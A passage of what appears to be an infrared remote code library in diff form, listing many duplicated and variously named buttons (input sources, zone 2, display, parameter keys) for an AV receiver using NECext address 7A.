+command: C0 00 00 00 +# +name: MZ:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INPUT:_CABLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: MZ_IN:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: CBLE/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INPUT_D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: MZ:_INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: MZ:_CABLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: MZ_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: MZ_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MZ:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MZ_IN:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: DVD_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MAIN:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MZ:_INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MZ_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MZ_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: ON_SCREEN_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: ONSCREEN_DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: MZ:_OSD_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: MZ:_OSD_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: DSP_PARAMETER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: DISP_DISPLAY_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: YDISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: ON_SCREEN:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: MAIN:_OSD_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: OSD_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: MZ:_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: AUDIO_SEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: MZ:_AUDIO_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: AUDIO_SELECT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: AUDIO_SEL:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: INP_AUDIO_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: MZ:_INPUT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: INPUT_MODE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: MZ:_AUDIO_SEL_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C3 00 00 00 +# +name: PARAMETER_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: PAR._CURSER_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: PARAMETER:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: PARAMETER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: GUI:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C4 00 00 00 +# +name: EFFECT_LEVELS_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: EFFECT_LEVELS_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: PARAMETER_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: PAR._CURSER_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: PARAMETER:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: GUI:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C5 00 00 00 +# +name: EFFECT_LEVELS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: PARAMETER_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: PARAMETER_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: Z2_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: PAR._CURSER_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: PARAMETER:_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: GUI:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C6 00 00 00 +# +name: EFFECT_LEVELS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: PARAMETER_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: PARAMETER_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: Z2_VCR_2_/_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: PAR._CURSER_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: PARAMETER:_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: GUI:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C7 00 00 00 +# +name: INPUT:_VCR_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: Z2_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: INPUT_BD/HDDVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: INP_BD/HD_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: INPUT:_VCR3_/_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: MZ:_INP_BDHDDVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: MZ:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: MZ_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: MZ_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C8 00 00 00 +# +name: MD/CDR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INPUT_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INPUT:_MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INPUT:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: Z2_D-TV_/_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INPUT:_MD_/_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: MD/CD-R_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: MZ:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INPUT:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: MAIN:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INP_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: ZONE_2_D-TV_/_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 +# +name: INPUT:_SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CA 00 00 00 +# +name: INPUT:_SATELLITE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CA 00 00 00 +# +name: INPUT:SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CA 00 00 00 +# +name: ZONE_2_SIRIUS_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CA 00 00 00 +# +name: ZONE_2_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CA 00 00 00 +# +name: MZ:_SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CA 00 00 00 +# +name: INPUT:_SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CB 00 00 00 +# +name: ZONE_2_SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CB 00 00 00 +# +name: Z2:_SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CB 00 00 00 +# +name: INPUT:_CB-SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: IN_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2_IN:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: INPUT:_CABLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: ZONE_2_CABLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2:_INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2:_CABLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CC 00 00 00 +# +name: Z2_INPUT_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: IN_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2_IN_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2_IN:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: ZONE_2_DVD_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: ZONE2_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: ZONE_2:_INPUT_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: ZONE_2_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: ZONE2:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2:_INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: Z2_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CD 00 00 00 +# +name: INPUT:_VCR_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: Z2_IN_BD/HD-DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: INP_BD/HD_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: ZONE_2_VCR_3_/_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: Z2:_INP_BD/HDDVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: Z2:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: Z2_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: Z2_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CE 00 00 00 +# +name: Z2_INPUT_MD/CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: INPUT:_MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: Z2_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: INPUT:_MD_/_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: DSP_PARAMETER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: ZONE_2_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: Z2:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: ZONE2_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: ZONE_2:_INPUT_MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: ZONE2:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: Z2_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: CF 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_INPUT_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: IN_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_IN_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_IN:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: ZONE_2:_INPUT_PHON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: ZONE_2_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: ZONE2:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2:_INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: Z2_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D0 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_INPUT_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: IN_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_IN_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: ZONE_2_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_IN:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: ZONE_2_CD_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: ZONE2_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: ZONE_2:_INPUT_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: ZONE2:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: Z2_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D1 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_INPUT_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: IN_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_IN_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: ZONE_2_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_IN:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: ZONE_2_TUNER_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: ZONE2_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: ZONE_2:_INPUT_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: ZONE2:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2:_INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: Z2_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D2 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: Z2:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: IN_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: Z2_IN_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: Z2_IN:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: Z2:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: ZONE_2_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: Z2:_INP_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D3 00 00 00 +# +name: Z2_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: Z2:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: IN_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: Z2_IN_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: Z2_IN:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: INPUT:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: INP_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: ZONE_2_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: Z2:_INP_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: Z2_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: Z2_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D4 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D5 00 00 00 +# +name: INPUT:_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D5 00 00 00 +# +name: ZONE_2_DVD/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D5 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2_INPUT_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: INPUT:_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: VCR-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: IN_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2_IN_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: ZONE_2_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2_IN:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: ZONE2_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: ZONE_2:_INPUT_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: ZONE2:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2_VCR1(VCR) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2:_INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: Z2_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D6 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2_INPUT_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: INPUT:_VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2:_VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2:_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: IN_DVR/VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2_IN_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: ZONE_2_VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: Z2_IN:_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: INPUT:_VCR_2_/_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: D7 00 00 00 +# +name: ZONE_2_DVR_INPUT +type: parsed +protocol: NECext +address: 7A 00 